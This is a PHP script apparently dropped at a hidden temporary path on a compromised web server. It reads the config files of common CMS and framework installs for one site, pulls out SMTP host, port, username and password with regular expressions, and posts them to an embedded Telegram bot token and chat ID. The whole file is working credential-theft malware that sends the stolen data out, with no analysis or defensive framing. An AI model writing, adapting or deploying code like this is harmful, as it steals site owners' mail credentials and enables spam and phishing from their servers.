File: //var/tmp/.reference
<?php
$paths = [
"/home/ploi/bumhan.com/public/wp-config.php",
"/home/ploi/bumhan.com/public/.env",
"/home/ploi/bumhan.com/public/config.php",
"/home/ploi/bumhan.com/public/configuration.php",
"/home/ploi/bumhan.com/public/config/config.php",
"/home/ploi/bumhan.com/public/app/etc/env.php",
"/home/ploi/bumhan.com/public/sites/default/settings.php"
];
$host = $port = $user = $pass = $from = "";
foreach ($paths as $path) {
if (file_exists($path) && is_readable($path)) {
$c = file_get_contents($path);
if (!$host && preg_match('/["\']?(MAIL_HOST|SMTP_HOST|smtp_host|smtphost)["\']?\s*[=:>\]\)]+\s*["\']?([^"\';\s\n\]]+)/i', $c, $m)) $host = $m[2];
if (!$port && preg_match('/["\']?(MAIL_PORT|SMTP_PORT|smtp_port)["\']?\s*[=:>\]\)]+\s*["\']?(\d+)/i', $c, $m)) $port = $m[2];
if (!$user && preg_match('/["\']?(MAIL_USERNAME|SMTP_USER|smtp_user|smtp_username)["\']?\s*[=:>\]\)]+\s*["\']?([^"\';\s\n\]]+)/i', $c, $m)) $user = $m[2];
if (!$pass && preg_match('/["\']?(MAIL_PASSWORD|SMTP_PASS|smtp_pass|smtp_password)["\']?\s*[=:>\]\)]+\s*["\']?([^"\';\s\n\]]+)/i', $c, $m)) $pass = $m[2];
if (!$from && preg_match('/["\']?(MAIL_FROM|SMTP_FROM|mailfrom)["\']?\s*[=:>\]\)]+\s*["\']?([^"\';\s\n\]]+)/i', $c, $m)) $from = $m[2];
}
}
if ($host && $port && $user && $pass) {
$domain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'unknown';
$msg = "SMTP Found!\nDomain: $domain\nHost: $host\nPort: $port\nUser: $user\nPass: $pass";
if ($from) $msg .= "\nFrom: $from";
$tg = "https://api.telegram.org/bot8214934297:AAHxtAEeAIaw0r0J_gcJ6nmNnmH-0y0wLR0/sendMessage";
$ch = curl_init($tg);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => "-1003537503195", "text" => $msg]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
die('!success!');
}
die('!end!');